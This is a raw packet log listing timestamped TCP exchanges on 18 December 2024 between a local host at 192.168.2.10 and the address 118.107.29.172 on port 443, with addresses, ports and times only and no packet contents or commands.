Dec 18, 2024 13:21:33.319195032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.319224119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.319273949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.319298029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.319318056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.319334984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.349745035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.349769115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.349818945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.349828005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.349860907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.349874973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.351908922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.351927996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.351969004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.351979971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.352011919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.355103970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.355127096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.355165005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.355171919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.355205059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.359767914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.359793901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.359827042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.359832048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.359869957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.362355947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.362373114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.362418890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.362425089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.362808943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.468116045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.468142986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.468247890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.468283892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.470374107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.478554964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.478583097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.478636980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.478661060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.478681087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.478693962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.511785984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.511814117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.511893988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.511924982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.512600899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.542524099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.542548895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.542633057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.542644978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.542690992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.544759035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.544812918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.544837952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.544846058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.544862032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.544874907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.546940088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.546956062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.547030926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.547038078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.547063112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.547079086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.552170038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.552187920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.552247047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.552254915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.552277088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.552294016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.554296017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.554313898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.554378033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.554389954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.554420948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.659833908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.659852982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.659933090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.659948111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.660295963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.670644999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.670667887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.670727968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.670733929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.670782089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.704032898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.704058886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.704107046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.704116106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.704154968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.733912945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.733930111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.734004021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.734040022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.734313965 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.736582041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.736598015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.736644030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.736651897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.736680984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.736699104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.738989115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.739006996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.739068985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.739074945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.739097118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.739120007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.744191885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.744219065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.744275093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.744285107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.744332075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.746912956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.746929884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.746974945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.746988058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.747008085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.747024059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.852169037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.852199078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.852251053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.852283955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.852298975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.852421999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.863105059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.863132000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.863171101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.863183022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.863220930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.896075010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.896099091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.896171093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.896179914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.896190882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.896212101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.926137924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.926163912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.926213026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.926223993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.926243067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.926260948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.928576946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.928592920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.928636074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.928643942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.928682089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.931032896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.931055069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.931113005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.931113005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.931121111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.931287050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.936414003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.936434031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.936479092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.936489105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.936625957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.939120054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.939137936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.939178944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.939187050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:33.939207077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:33.939223051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.044615984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.044644117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.044677973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.044706106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.044722080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.044773102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.055360079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.055382967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.055454969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.055470943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.055510998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.087990999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.088016033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.088072062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.088093996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.088109970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.088128090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.118616104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.118690968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.118727922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.118803978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.118853092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.118853092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.120876074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.120943069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.120963097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.120990992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.121021986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.121042013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.123346090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.123394966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.123419046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.123449087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.123476982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.123553991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.128843069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.128897905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.128925085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.128959894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.128988981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.129009008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.131436110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.131495953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.131534100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.131577015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.131613016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.131676912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.237030029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.237059116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.237122059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.237157106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.237500906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.247570038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.247591019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.247647047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.247678041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.247947931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.280750036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.280782938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.280833960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.280869961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.280889988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.280906916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.310312033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.310333014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.310386896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.310431004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.310451984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.311264992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.312712908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.312731981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.312796116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.312813044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.312992096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.315244913 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.315275908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.315324068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.315344095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.315356970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.315633059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.321135998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.321158886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.321203947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.321228981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.321248055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.321285009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.323724985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.323743105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.323777914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.323792934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.323812962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.323831081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.444739103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.444775105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.444827080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.444861889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.444879055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.444900036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.445318937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.445338964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.445370913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.445379972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.445421934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.445436954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.476216078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.476244926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.476291895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.476335049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.476355076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.477015018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.502454996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.502485037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.502572060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.502593994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.504226923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.505016088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.505043030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.505075932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.505084991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.505105972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.505135059 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.507441998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.507462978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.507514954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.507523060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.507560968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.513062954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.513086081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.513161898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.513174057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.514348030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.515619993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.515641928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.515680075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.515690088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.515707016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.515724897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.622029066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.622059107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.622127056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.622167110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.622191906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.622200966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.632217884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.632251978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.632292032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.632317066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.632334948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.632356882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.668453932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.668495893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.668553114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.668593884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.668617010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.669056892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.695122004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.695152044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.695221901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.695256948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.695277929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.695297003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.697983980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.698009014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.698049068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.698070049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.698085070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.698101044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.700793028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.700814962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.700874090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.700895071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.700911999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.700932980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.705904007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.705924034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.705981016 CET	49723	443	192.168.2.10	118.107.29.172
